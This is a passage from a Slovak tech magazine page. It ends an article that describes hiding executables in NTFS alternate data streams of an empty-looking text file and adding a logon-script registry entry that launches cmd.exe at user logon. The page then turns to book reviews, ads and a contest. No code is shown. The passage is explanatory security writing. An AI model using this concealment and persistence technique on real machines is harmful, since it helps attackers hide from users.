prihlásení sa používateľa jojo na zariadenie s 
IP adresou 192.168.1.3 sa automaticky spustí 
program cmd.exe, ktorý je definovaný v registri 
v rámci kľúča Computer\HKEY_USERS\userSID\
Environment. Úpravu uvedeného kľúča sme 
dosiahli tak, že po spustení programu ads.exe 
došlo k vytvoreniu nového procesu s kódom de-
finovaným skriptom AddLogonScript.py (obr. 2).

Na tomto postupe je najzaujímavejšie 
skrytie oboch súborov EXE do alternatív-
nych dátových streamov súboru tajny.txt. 
Pri použití príkazu dir sa tento súbor javí ako 
prázdny, teda jeho veľkosť = 0 bytes. V jeho 
alternatívnych streamoch sa však nachádza 
programový kód našich súborov (skriptov). 

Bežný používateľ nemá žiadnu šancu zis-
tiť, že na jeho disku sú uložené naše skryté 
súbory, a takisto nemôže zistiť, že jeho po-
užívateľské údaje uložené v registri boli do-
plnené o novú položku.

»  MAREK SOPKO 

Ako prekonať úzkosť
Prelomte kolobeh obáv a strachu a vráťte svojmu životu 
vnútorný pokoj. Klinicky overený plán, ako krok za krokom 
prelomiť kolobeh obáv a strachu, ktorý vedie k úzkosti a 
zlým návykom. Dr. Judson Brewer vo svojej knihe vysvetľuje, 
ako pomocou jednoduchých techník a trikov vykoreniť úz­
kosť z našich životov ihneď v jej zárodku.

Autor: Judson Brewer, vydavateľstvo: GRADA,  
cena: 14,99 EUR

KNIŽNÉ NOVINKY

Vysoko citlivé dieťa
Psychoterapeutka Elaine Aron ako prvá označila „vysokú 
citlivosť“ za vrodenú vlastnosť a vysvetlila, ako ovplyvňuje 
životy tých, ktorí sa s ňou narodili. Tieto vlastnosti ich pred­
určujú, aby z nich vyrástli bystrí, svedomití a tvoriví jed­
notlivci, no pri nesprávnej výchove a necitlivom prístupe v 
školských zariadeniach sa môžu zmeniť na nezvyčajne pla­
ché, bojazlivé alebo, naopak, predvádzajúce sa deti. 

Autor: Elaine N. Aron, vydavateľstvo: Lindeni,  
cena: 16,99 EUR

Učeň strážcu želaní
Félix je obyčajný 10-ročný chalan. Ani vo sne by mu nena­
padlo, že minca vhodená do fontány a jedno tajné želanie 
všetko zmenia. Stretne tajomného Rupusa Včelimáka – 
strážcu želaní – a stane sa jeho učňom. Čaká ho však nebez­
pečná úloha, v ktorej pôjde o život. Bude musieť zachrániť 
mestečko pred hrozivou príšerou Kazisnom, ktorý sa snaží 
zničiť obyvateľom všetky ich želania...

Autor: Rachel Chivers Khoová,  
vydavateľstvo: ALBATROS, cena: 11,04 EUR

Fantastická záhradka na balkóne
Hojdanie sa v hojdacej sieti, popíjanie kokteilu, ochutnáva­
nie a ovoniavanie jahôd... Znie to ako vzdialený dovolen­
kový raj, no vôbec to tak nemusí byť. Kolektív autorov vám 
prináša užitočné informácie o tom, ako si vykúzliť takýto 
raj u vás doma na balkóne. Táto zelená oáza pokoja vám 
na tanieri vyčarí čerstvú zeleninu, v lete poskytne tieň a 
ochráni vás pred ruchom ulice. 

Autor: Kolektív autorov, vydavateľstvo: GRADA, 
cena: 17,49 EUR

Tichá pacientka
Psychologický triler, ktorý žne úspechy po celom svete.

Alicia Berensonová je zdanlivo dokonale šťastná: slávna ma-
liarka obklopená luxusom, vydatá za vychyteného módneho 
fotografa, ktorého nadovšetko miluje. A predsa jedného ve-
čera z neznámych príčin svojho muža chladnokrvne zavraždí. 
Do hlavy mu vypáli päť rán a odvtedy neprehovorí. 

Autor: Alex Michaelides,  
vydavateľstvo: Lindeni, cena: 16,99 EUR

Tajné jazero
Aké tajomstvo sa skrýva za bránami starého domu?

Keď sa Stella a jej mladší brat Tom presťahujú do nového 
domu, začnú ich trápiť záhadné zmiznutia Harryho, ma­
lého psíka ich staršej susedky. Kam sa podel? Začítajte 
sa do dobrodružného príbehu o cestovaní v čase, ktorý 
si prečítalo už viac ako pol milióna mladých čitateľov po 
celom svete.  

Autor: Karen Inglisová,  
vydavateľstvo: BAMBOOK, cena: 13,89 EUR

» OBR. 2  ZMENENÝ OBSAH REGISTRA WINDOWS PO VYKONANÍ PROGRAMU ADS.EXE
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ESET HOME SECURITY Essential
Komplexná ochrana vášho digitálneho sveta pre zariad-
enia s operačným systémom Windows, macOS a Android. 
Riešenie vyvinuté na základoch oceňovanej viacvrstvovej 
technológie ESET účinne chráni vaše digitálne aktivity 
pred rôznymi druhmi hrozieb. Zabezpečenie ide ďaleko 
za hranice antivírusu. Zaistite svoju 
inteligentnú domácnosť a webovú 
kameru a užívajte si bezpečnejšie 
prehliadanie či online banko-
vníctvo. Riešenie zahŕňa funkciu 
Anti Theft na jednoduché uzam-
knutie a lokalizáciu zariadení aj 
mesačné správy o bezpečnosti. 

ANTIK TV
Internetové TV, živé vysielanie,  
viac ako 100 slovenských a  českých 
TV staníc.

SERVIS

V tomto čísle sme pre vás pripravili súťaž o kvalitnú webovú 
kameru od Creative Labs. Stačí, keď nám napíšete, ako 
plánujete využívať umelú inteligenciu vo svojej práci. 
Svoje odpovede posielajte do 26. marca 2024 na adresu 
sutaz@nextech.sk s predmetom správy: KAMERA.

SÚŤAŽ O CREATIVE LIVE! CAM SYNC 4K

Súťaž o mobilný telefón OPPO A98 5G vyhrala Simona Holičková,  
srdečne blahoželáme.  ☺
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